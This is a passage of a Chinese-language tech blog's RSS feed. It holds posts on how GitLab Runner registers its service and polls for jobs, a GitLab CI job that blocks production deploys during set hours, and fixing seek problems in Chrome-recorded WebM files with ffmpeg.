&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/gitlab-pipeline-passed.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/in_fdk_aac_to_ffmpeg_static_build/gitlab-job-artifacts.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;gitlab project: &lt;a href=&quot;https://gitlab.com/BlackHole1/ffmpeg-static-build&quot;&gt;https://gitlab.com/BlackHole1/ffmpeg-static-build&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>ffmpeg</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Gitlab Runner 服务注册及任务捕获原理</title><link>https://bugs.cc/zh/posts/gitlab-runner-service-registry-and-principle/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/gitlab-runner-service-registry-and-principle/</guid><description>通过查看源码了解 Gitlab-Runner 的捕获原理</description><pubDate>Sat, 06 Jul 2019 08:12:58 GMT</pubDate><content:encoded>&lt;h2&gt;环境搭建 {#setup}&lt;/h2&gt;
&lt;p&gt;可以参考 &lt;a href=&quot;https://docs.gitlab.com/runner/development/README.html&quot;&gt;https://docs.gitlab.com/runner/development/README.html&lt;/a&gt; 来进行搭建，这里需要注意的是，go version 最好为 &lt;code&gt;go1.8.7&lt;/code&gt;，高版本的 go version，可能会安装失败。&lt;/p&gt;
&lt;h2&gt;参数注册 {#command-registration}&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;gitlab-runner&lt;/code&gt; 在注册 runner 时，需要用到 &lt;code&gt;registry&lt;/code&gt;、&lt;code&gt;install&lt;/code&gt;、&lt;code&gt;start&lt;/code&gt; 这三个命令。而其实 &lt;code&gt;install&lt;/code&gt; 和 &lt;code&gt;start&lt;/code&gt; 只是服务注册的&lt;/p&gt;
&lt;p&gt;在 &lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/main.go&quot;&gt;main.go&lt;/a&gt; 文件的入口处，其调用了 &lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/main.go#L50&quot;&gt;common.GetCommands()&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;而这个函数是为了注册参数的，其核心代码为:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/common/command.go#L20-27&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/register-command2-func.png&quot; alt=&quot;common/command.go#L20-27&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Name&lt;/code&gt; 为我们要注册的参数，&lt;code&gt;Action&lt;/code&gt; 为调用参数后调用的方法。&lt;/p&gt;
&lt;p&gt;在注册方法时，只需要使用 &lt;code&gt;RegisterCommand2(参数名, 说明, 动作函数类)&lt;/code&gt; 即可。&lt;/p&gt;
&lt;h3&gt;registry&lt;/h3&gt;
&lt;p&gt;在 &lt;code&gt;commands/registry.go&lt;/code&gt; 里有一个 init 函数，注册了 &lt;code&gt;registry&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/register.go#L380&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/register-command-init.png&quot; alt=&quot;commands/register.go#L380&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;newRegisterCommand&lt;/code&gt; 函数肯定返回了 &lt;code&gt;Execute&lt;/code&gt; 函数，也就是触发 &lt;code&gt;registry&lt;/code&gt; 的动作函数。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/register.go#L345-363&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/new-register-command.png&quot; alt=&quot;commands/register.go#L345-363&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里返回了一个 &lt;code&gt;RegisterCommand&lt;/code&gt; 类，而这个类下实现了 &lt;code&gt;Execute&lt;/code&gt; 方法。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/register.go#L288-338&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/register-execute-method.png&quot; alt=&quot;commands/register.go#L288-338&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其中 &lt;code&gt;s.askRunner()&lt;/code&gt; 就是我们输入命令后，出现的各种询问，如: gitlab-ci URL、token、description、tags。&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;askRunner&lt;/code&gt; 函数里，当你输入完成后，有一步校验的操作，检验你输入的只是否真的可以连接到 gitlab-ci 上。&lt;/p&gt;
&lt;p&gt;这些都没什么好说的。在 &lt;code&gt;askRunner&lt;/code&gt; 函数后，还 &lt;code&gt;askExecutor&lt;/code&gt;、&lt;code&gt;askExecutorOptions&lt;/code&gt; 函数。这两个函数的作用是询问你要选择哪种执行者，也就是我们见到的 &lt;code&gt;Please enter the executor: docker+machine, docker, docker-ssh, shell, docker-ssh+machine, kubernetes, parallels, ssh, virtualbox:&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当你全部输入完成后，会把你输入值，保存在 &lt;code&gt;~/.gitlab-runner/config.toml&lt;/code&gt; 文件里。&lt;/p&gt;
&lt;p&gt;其实到这步的时候，整个 gitlab-ci 就已经配置好了，&lt;code&gt;install&lt;/code&gt;、&lt;code&gt;start&lt;/code&gt; 的作用下面再说&lt;/p&gt;
&lt;h3&gt;install/start&lt;/h3&gt;
&lt;p&gt;当你注册完成后，再使用 &lt;code&gt;install&lt;/code&gt; 进行安装时，其实安装的是 &lt;code&gt;gitlab-ci&lt;/code&gt; 服务。&lt;/p&gt;
&lt;p&gt;我们看下 &lt;code&gt;commands/service.go&lt;/code&gt; 文件的内容:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/service.go#L202-242&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/service-commands-init.png&quot; alt=&quot;commands/service.go#L202-242&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;可以看到其他的参数基本都是在这里进行注册，其他的我们暂时不看，专注看下 &lt;code&gt;install&lt;/code&gt;、&lt;code&gt;start&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其中这两个参数的行为都是 &lt;code&gt;RunServiceControl&lt;/code&gt; 函数，这个函数的代码也十分简单&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/service.go#L131-151&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/run-service-control.png&quot; alt=&quot;commands/service.go#L131-151&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其中 &lt;code&gt;install&lt;/code&gt; 比较特别，单独调用了 &lt;code&gt;runServiceInstall&lt;/code&gt; 函数，这个函数的作用就是为了检查 &lt;code&gt;config.toml&lt;/code&gt; 以及当前用户的代码，没啥好说的，最后也调用了 &lt;code&gt;service.Control(s, c.Command.Name)&lt;/code&gt; 方法。这个方法是 &lt;a href=&quot;https://github.com/ayufan/golang-kardianos-service&quot;&gt;github.com/ayufan/golang-kardianos-service&lt;/a&gt; 库，这个库是一个注册服务的库，也就说当你使用 &lt;code&gt;gitlab-runner install&lt;/code&gt; 的时候，其实是在注册服务，服务的作用是保证 &lt;code&gt;gitlab-runner&lt;/code&gt; 一直在后台运行以及开机运行。&lt;/p&gt;
&lt;p&gt;当服务注册好后，再通过 &lt;code&gt;gitlab-runner start&lt;/code&gt; 打开服务&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/gitlab-runner-service-registry-and-principle/#user-content-fn-install-start&quot; id=&quot;user-content-fnref-install-start&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;当我们调用 &lt;code&gt;service.Control(s, &apos;start&apos;)&lt;/code&gt; 时，其实会执行 &lt;code&gt;s.Start()&lt;/code&gt; 方法，而这个方法其实就是开启服务的，而打开服务时，也需要一个命令行，因为要告诉系统我执行的什么的命令是服务。其代码为:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/service.go#L89-129&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/create-service-config.png&quot; alt=&quot;commands/service.go#L89-129&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们看到 &lt;code&gt;Arguments&lt;/code&gt; 是一个数组，且第一个元素是 &lt;code&gt;run&lt;/code&gt;，后面的代码也都是 &lt;code&gt;run&lt;/code&gt; 的参数了。&lt;/p&gt;
&lt;p&gt;现在可以确定，当我们使用 &lt;code&gt;gitlab-runner start&lt;/code&gt; 时，其内部调用了 &lt;code&gt;run&lt;/code&gt; 当做服务的命令。我们来看下 &lt;code&gt;Run&lt;/code&gt; 的代码&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/commands/multi.go#L578-613&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/run-command-run.png&quot; alt=&quot;commands/multi.go#L578-613&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其中 &lt;code&gt;mr.feedRunners(runners)&lt;/code&gt; 函数只是做心跳检测的，没什么可说的。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;mr.startWorkers(startWorker, stopWorker, runners)&lt;/code&gt; 才是主要的，这个函数经过 5~6 次的调用，最终调用了一个 &lt;code&gt;RequestJob&lt;/code&gt; 函数，这个才是重头戏&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab-runner/blob/5a14535d052d243b874c0cbf89175ac671744577/network/gitlab.go#L264-298&quot;&gt;&lt;img src=&quot;https://bugs.cc/images/gitlab-runner-service-registry-and-principle/request-job-func.png&quot; alt=&quot;network/gitlab.go#L264-298&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;可以看到这里是发请求询问 &lt;code&gt;gitlab-runner&lt;/code&gt; 有没有新的任务，如果有则返回 &lt;code&gt;resqonse&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;而这个函数的调用链，有一个方法是一直在循环这个函数，从而实现了&lt;code&gt;轮询&lt;/code&gt;&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/gitlab-runner-service-registry-and-principle/#user-content-fn-polling&quot; id=&quot;user-content-fnref-polling&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;最终的结果，就是 &lt;code&gt;gitlab-runner&lt;/code&gt; 启动后，一直在轮询给 &lt;code&gt;gitlab&lt;/code&gt; 发请求，问它有没有新的任务。&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-install-start&quot;&gt;
&lt;p&gt;这里其实可以集成到 install 里，但是不知道为什么 gitlab 官网没有这么做。 &lt;a href=&quot;https://bugs.cc/zh/posts/gitlab-runner-service-registry-and-principle/#user-content-fnref-install-start&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-polling&quot;&gt;
&lt;p&gt;我之前一直以为是通过 websocket 来做，没想到是轮询来实现的，可能是为了兼容性？ &lt;a href=&quot;https://bugs.cc/zh/posts/gitlab-runner-service-registry-and-principle/#user-content-fnref-polling&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>gitlab</category><category>runner</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>基于 Gitlab CI 的上线时间校验</title><link>https://bugs.cc/zh/posts/gitlab-ci-production-date-check/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/gitlab-ci-production-date-check/</guid><description>通过对时间的判断来决定是否进行项目发布</description><pubDate>Sat, 06 Jul 2019 08:10:32 GMT</pubDate><content:encoded>&lt;h2&gt;前提 {#background}&lt;/h2&gt;
&lt;p&gt;目前公司在很多项目在上线时，都明确要求了，周四、周五上线 &lt;code&gt;production&lt;/code&gt; 环境需要发邮件申请，周六、周日不允许上线，周一至周三每天下午 5 点到晚上 9 点不允许上线。&lt;/p&gt;
&lt;p&gt;之所以这么要求，是因为减少在人员不齐情况下上线带来的风险。&lt;/p&gt;
&lt;p&gt;而这种规范，只能由公司各个项目组之间的自觉，但是这种自觉其实是一种不可靠因素。我个人感觉还是需要一套约束，来降低这种不可靠因素。&lt;/p&gt;
&lt;h2&gt;目标 {#goal}&lt;/h2&gt;
&lt;p&gt;前提确定好后，那就需要一个目标了。也就说，在某些分支上的某些时间点是不允许让 &lt;code&gt;CI&lt;/code&gt; 进行自动构建的。&lt;/p&gt;
&lt;p&gt;一开始，我的想法是通过 &lt;code&gt;git hook&lt;/code&gt; 来实现，但是后来给否决了，原因为:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pre-commit&lt;/code&gt; 只是针对当前 commit 的时间点，并不是 push 的时间点&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pre-push&lt;/code&gt; 虽说可以做到，但是问题在于，可以通过 &lt;code&gt;--no-verify&lt;/code&gt; 来跳过钩子，而且这种跳过是下发到组内每个成员的。&lt;/li&gt;
&lt;li&gt;对 &lt;code&gt;merge&lt;/code&gt; 无能为力，网上的方案都是通过 &lt;code&gt;prepare-commit-msg&lt;/code&gt; 来判断当前 commit 是否存在 &lt;code&gt;Merge&lt;/code&gt; 字符串，不可靠&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;理想情况下，组员是没有任何权限去控制这一块的，也就是说无法被绕过，&lt;code&gt;git hook&lt;/code&gt; 的方式都是在组员本地，也存在了各种被绕过的风险。&lt;/p&gt;
&lt;p&gt;那既然无法在本地校验来达到目标，那就只能把目标放在 &lt;code&gt;gitlab-ci&lt;/code&gt; 这一块了。&lt;/p&gt;
&lt;h2&gt;正文 {#implementation}&lt;/h2&gt;
&lt;p&gt;这里有个前提，一个小组内，只能有部分人具有 CI 的控制权。并且一定有 &lt;code&gt;code review&lt;/code&gt;。只有具备以上两点才能进行下一步。&lt;/p&gt;
&lt;p&gt;通过在 &lt;code&gt;CI Variables&lt;/code&gt; 来增加以下两个变量:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;NOT_SUPPORT_HOUR 17,18,19,20,21
NOT_SUPPORT_WEEK 4,5,6,0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个变量就应对上上面所说的&lt;strong&gt;只能有部分人具有 CI 控制权&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后在 &lt;code&gt;.gitlab-ci.yml&lt;/code&gt; 里增加一个 &lt;code&gt;check_deploy stages&lt;/code&gt;，以及增加相关的 &lt;code&gt;pip&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;stages:
 - check_deploy
check_time:
  image: busybox
  stage: check_deploy
  script:
    - export TZ=UTC-8
    - export CURRENT_WEEK=$(date &apos;+%w&apos;)
    - export CURRENT_HOUR=$(date &apos;+%H&apos;)
    - if [ $(echo $NOT_SUPPORT_HOUR | grep &quot;${CURRENT_HOUR}&quot;) ]; then exit 126; fi;
    - if [ $(echo $NOT_SUPPORT_WEEK | grep &quot;${CURRENT_WEEK}&quot;) ]; then exit 126; fi;
  only:
    - master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过启动一个 &lt;code&gt;busybox&lt;/code&gt; 容器，来对当前时间以及不允许时间段进行一个比较，当当前时间点在不允许时间端内，则抛出错误码 &lt;code&gt;126&lt;/code&gt;。且只对上线分支有效（这里为 master 分支）&lt;/p&gt;
&lt;p&gt;这个也对应上了，之前所说的&lt;strong&gt;一定有 &lt;code&gt;code review&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;其实这个方法也有缺陷，那就是是刚刚所说的两个前提，以及不应该把这种限制下发到&lt;code&gt;小组&lt;/code&gt;单位，理想的情况下各个小组都是没有权限进行控制的，正在的控制权应该上升到更高一层，但是目前还想不到好的方式让更高一层介入进来。所以目前只能通过这种方式来做到上线控制。&lt;/p&gt;
</content:encoded><category>ci/cd</category><category>gitlab</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Webm 进度条问题分析与解决</title><link>https://bugs.cc/zh/posts/webm-progress-bar-problem-and-solution/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/webm-progress-bar-problem-and-solution/</guid><description>分析问题出现的原因，并为此寻找相关的解决方案</description><pubDate>Tue, 21 May 2019 07:30:21 GMT</pubDate><content:encoded>&lt;h2&gt;介绍 {#intro}&lt;/h2&gt;
&lt;p&gt;当我们使用 &lt;code&gt;getUserMedia&lt;/code&gt;、&lt;code&gt;MediaRecorder&lt;/code&gt; 等 API 生成的 &lt;code&gt;webm&lt;/code&gt; 视频时，会发现最终的 webm 是无法拖动进度条的。除非使用 &lt;code&gt;FFmpeg&lt;/code&gt; 把 webm 转成其他格式的视频文件，或者等 webm 视频播放完后，就可以拖动了。&lt;/p&gt;
&lt;h2&gt;分析 {#analysis}&lt;/h2&gt;
&lt;p&gt;经过几个小时的排查，发现并不是 &lt;code&gt;MediaRecorder&lt;/code&gt; 使用有问题，因为在网上找的其他 demo 生成的 webm 也都不行。&lt;/p&gt;
&lt;p&gt;一开始把分析点放在了进度条那里，结果在网上没有搜到任何相关文章，尝试了各种关键词都不行。&lt;/p&gt;
&lt;p&gt;后来想到，可以使用 &lt;code&gt;FFmpeg&lt;/code&gt; 来对视频文件进行分析。于是使用 &lt;code&gt;ffprobe rebirth-demo.webm&lt;/code&gt; 命令进行分析:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;$ ffprobe rebirth-demo.webm
ffprobe version 4.1.3 Copyright (c) 2007-2019 the FFmpeg developers
  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags=&apos;-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin&apos; --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from &apos;rebirth-demo.webm&apos;:
  Metadata:
    encoder         : Chrome
  Duration: N/A, start: 0.000000, bitrate: N/A
    Stream #0:0(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Stream #0:1(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      alpha_mode      : 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键点来了，可以发现其中: &lt;code&gt;Duration&lt;/code&gt; 和 &lt;code&gt;bitrate&lt;/code&gt; 的值都是 &lt;code&gt;N/A&lt;/code&gt;，这是不正常的，于是去搜一下 &lt;code&gt;webm duration&lt;/code&gt;，果然网上有很多的说明文章。&lt;/p&gt;
&lt;p&gt;大体意思是，因为 &lt;code&gt;getUserMedia&lt;/code&gt;、&lt;code&gt;MediaRecorder&lt;/code&gt; 在生成 webm 时，并没有提供相关 &lt;code&gt;Duration&lt;/code&gt; 和 &lt;code&gt;bitrate&lt;/code&gt;。导致出现这种问题。&lt;/p&gt;
&lt;h2&gt;解决方案 {#solution}&lt;/h2&gt;
&lt;h3&gt;一、计算视频长度，分配给 &lt;code&gt;blob&lt;/code&gt; {#blob-duration}&lt;/h3&gt;
&lt;p&gt;这种方法的核心就是，在 &lt;code&gt;start&lt;/code&gt; 开始录制时，记录一个开始时间，然后在 &lt;code&gt;stop&lt;/code&gt; 停止录制后，把当前时间与记录的开始时间相减，在把时间赋值给 &lt;code&gt;blob&lt;/code&gt; 来解决这个问题。相关解决方案可见: &lt;a href=&quot;https://github.com/yusitnikov/fix-webm-duration&quot;&gt;fix-webm-duration&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;二、通过给 audio 标签一个很大的时间 {#audio-large-time}&lt;/h3&gt;
&lt;p&gt;在播放 webm 视频时，可以动态的给 audio 一个很大的时间，来解决这个问题，但是目前只针对 &lt;code&gt;chrome&lt;/code&gt; 有效。相关解决方案可见: &lt;a href=&quot;https://stackoverflow.com/questions/38443084/how-can-i-add-predefined-length-to-audio-recorded-from-mediarecorder-in-chrome&quot;&gt;How can I add predefined length to audio recorded from MediaRecorder in Chrome?&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;三、跳到结尾，再跳到开头 {#seek-end-then-start}&lt;/h3&gt;
&lt;p&gt;因为上文说过，当视频播放完后，就可以拖动了，那么只需要通过 &lt;code&gt;JS&lt;/code&gt; 来控制当前的视频位置就可以解决了。相关解决方案可见: &lt;a href=&quot;https://github.com/common-nighthawk/hello-its-me/blob/master/public/js/message-create.js#L68-L73&quot;&gt;hello-its-me&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;四、通过 ffmpeg 来解决 {#ffmpeg}&lt;/h3&gt;
&lt;p&gt;第一个解决的命令如下: &lt;code&gt;ffmpeg -i rebirth-demo.webm xixi.webm&lt;/code&gt;，但是这个命令会很漫长，不太推荐。30 秒的视频，需要花费 3 分钟左右的时间。&lt;/p&gt;
&lt;p&gt;第二个命令是: &lt;code&gt;ffmpeg -i rebirth-demo.webm  -vcodec copy -acodec copy new_rebirth-demo.webm&lt;/code&gt;。这个十分的快，因为本身是直接复制，而不是转化:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;ffmpeg -i rebirth-demo.webm  -vcodec copy -acodec copy new_rebirth-demo.webm
ffmpeg version 4.1.3 Copyright (c) 2000-2019 the FFmpeg developers
  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags=&apos;-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin&apos; --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from &apos;rebirth-demo.webm&apos;:
  Metadata:
    encoder         : Chrome
  Duration: N/A, start: 0.000000, bitrate: N/A
    Stream #0:0(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Stream #0:1(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      alpha_mode      : 1
Output #0, webm, to &apos;new_rebirth-demo.webm&apos;:
  Metadata:
    encoder         : Lavf58.20.100
    Stream #0:0(eng): Video: vp8, yuv420p(progressive), 1920x1080 [SAR 1:1 DAR 16:9], q=2-31, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      alpha_mode      : 1
    Stream #0:1(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
Stream mapping:
  Stream #0:1 -&amp;gt; #0:0 (copy)
  Stream #0:0 -&amp;gt; #0:1 (copy)
Press [q] to stop, [?] for help
frame= 3589 fps=0.0 q=-1.0 Lsize=    2107kB time=00:01:59.92 bitrate= 143.9kbits/s speed=4.75e+03x
video:2053kB audio:16kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 1.849351%

$ ffprobe new_rebirth-demo.webm
ffprobe version 4.1.3 Copyright (c) 2007-2019 the FFmpeg developers
  built with Apple LLVM version 10.0.1 (clang-1001.0.46.4)
  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags=&apos;-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin&apos; --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr
  libavutil      56. 22.100 / 56. 22.100
  libavcodec     58. 35.100 / 58. 35.100
  libavformat    58. 20.100 / 58. 20.100
  libavdevice    58.  5.100 / 58.  5.100
  libavfilter     7. 40.101 /  7. 40.101
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  3.100 /  5.  3.100
  libswresample   3.  3.100 /  3.  3.100
  libpostproc    55.  3.100 / 55.  3.100
Input #0, matroska,webm, from &apos;new_rebirth-demo.webm&apos;:
  Metadata:
    ENCODER         : Lavf58.20.100
  Duration: 00:01:59.96, start: 0.000000, bitrate: 143 kb/s
    Stream #0:0(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default)
    Metadata:
      ALPHA_MODE      : 1
      DURATION        : 00:01:59.928000000
    Stream #0:1(eng): Audio: opus, 48000 Hz, stereo, fltp (default)
    Metadata:
      DURATION        : 00:01:59.955000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可见已经没有问题了&lt;/p&gt;
&lt;h2&gt;总结 {#conclusion}&lt;/h2&gt;
&lt;p&gt;我个人倾向于最后一种，因为前面几个方法并没有实际性解决这个问题。&lt;/p&gt;
&lt;p&gt;这个问题，是&lt;strong&gt;Chrome Bug&lt;/strong&gt;。目前社区也在讨论，但是到目前为止还没有任何修复的方案。&lt;/p&gt;
&lt;p&gt;社区讨论地址: &lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=642012&quot;&gt;https://bugs.chromium.org/p/chromium/issues/detail?id=642012&lt;/a&gt;&lt;/p&gt;
